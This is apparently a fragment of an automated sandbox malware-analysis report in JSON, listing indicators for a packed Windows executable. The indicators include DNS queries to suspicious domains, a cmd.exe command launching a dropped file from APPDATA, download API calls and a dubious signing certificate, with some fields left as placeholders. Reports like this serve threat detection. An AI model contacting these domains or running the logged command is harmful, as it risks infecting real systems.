(overlay)","description":"Pe file has Overlay in c463eb3a55bea9c16c13dcda339acc218b69b9b00c3b80f122cda9ad4c768b76.bin","origin":"Static Parser","relevance":1,"id":"static-131","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$38","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$39","origin":"Static Parser","relevance":1,"id":"static-95","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$3a","origin":"Static Parser","relevance":1,"id":"static-96","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \"\" is \"0x2b9c00\" greater than 0x100000\n Raw size of \".boot\" is \"0x11ee00\" greater than 0x100000\n Raw size of \".text\" is \"0x25f200\" greater than 0x100000\n Raw size of \".MPRESS1\" is \"0x46c800\" greater than 0x100000\n Raw size of \".text\" is \"0x19e000\" greater than 0x100000\n Raw size of \".text\" is \"0x15b800\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x214800\" greater than 0x100000\n Raw size of \".vmp1\" is \"0x378800\" greater than 0x100000\n Raw size of \".boot\" is \"0x116a00\" greater than 0x100000\n Raw size of \".aus119\" is \"0x289fef\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \"\" is \"0x6ec000\" greater than 0x100000\n Virtual size of \".themida\" is \"0x352000\" greater than 0x100000\n Virtual size of \".boot\" is \"0x11ee00\" greater than 0x100000\n Virtual size of \".text\" is \"0x25f04c\" greater than 0x100000\n Virtual size of \".MPRESS1\" is \"0x850000\" greater than 0x100000\n Virtual size of \".text\" is \"0x19de69\" greater than 0x100000\n Virtual size of \".text\" is \"0x15b76f\" greater than 0x100000\n Virtual size of \".data\" is \"0x3922b8\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x214738\" greater than 0x100000\n Virtual size of \".vmp0\" is \"0x165221\" greater than 0x100000\n Virtual size of \".vmp1\" is \"0x37872c\" greater than 0x100000\n Virtual size of \"\" is \"0x1c6000\" greater than 0x100000\n Virtual size of \".boot\" is \"0x116a00\" greater than 0x100000\n Virtual size of \".data\" is \"0xe00d10\" greater than 0x100000\n Virtual size of \".aus119\" is \"0x289ffe\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"sqlite3.dll\" has high imagebase \"0x61e00000\"\n \"nnmmo1115_1_.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Possibly use system binaries","description":"Observed system executable string:\"%WINDIR%\\System32\\conhost.exe\" [Source: 00000000-00002584-00000BC0-152985198]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3b","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"aaa.ajn322dd.com\"\n \"aaa.apiaaaeg.com\"\n \"hugersi.com\"\n \"ipinfo.io\"\n \"iplis.ru\"\n \"iplogger.org\"\n \"kokoko-24.online\"\n \"megalobster.ru\"\n \"meta-zone-1.online\"\n \"meta-zone-1.ru\"\n \"metazone1.com\"\n \"privacy-tools-for-you-453.com\"\n \"sun6-22.userapi.com\"\n \"telegram.org\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"InstallUtil.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"%WINDIR%\\system32\\cmd.exe /c %APPDATA%\\bebra.exe\" on 2022-12-24.13:10:25.394","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"$3c","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$3d","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$3e","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=\"Logitech ZC-9016 USA State of Washington\"\" (SHA1: 39:D8:B5:1A:6C:3E:70:BB:C0:96:69:2C:40:0A:03:D4:1F:4D:42:0B; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameA@ADVAPI32.DLL at 00000000-00003456-58606-402-00453A24","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3f","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$40","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"A02FZXMsOhT8vUffJfmsE6xk.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"HEAD\" object: /download/WW14.bmp\" - (UID: 00000000-00006996), \"AppLaunch.exe\" called \"HttpOpenRequestW\" (UID: 00000000-00005608)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"A02FZXMsOhT8vUffJfmsE6xk.exe\" called \"InternetReadFile\" (UID: 00000000-00006996)\n \"A02FZXMsOhT8vUffJfmsE6xk.exe\" called \"InternetReadFile\" with parameter 2048 (UID: 00000000-00006996)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to perform crypto operations","description":"Observed namespace system.security.cryptography in h_26wPXBLIlKW3_tlCXuCIgV.exe","origin":"Static Parser","mitre_attack_id":"T1573","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide interface for network protocols","description":"Observed namespace system.net in h_26wPXBLIlKW3_tlCXuCIgV.exe","origin":"Static Parser","mitre_attack_id":"T1071.001","relevance":1,"id":"static-110","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$41","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"vnkg[gu\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was make using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"63a768e19241c1676e1357e6"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"\" Windows 8.1 -->\n -->\n Windows 10 -->\n -->\n \n \n Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher\n DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need \n to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should \n also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. \n \n Makes the application long-path aware. See https://docs.microsoft.com/windows/win32/fileio/maximum-file-path-limitation -->\n \n \n \n true\n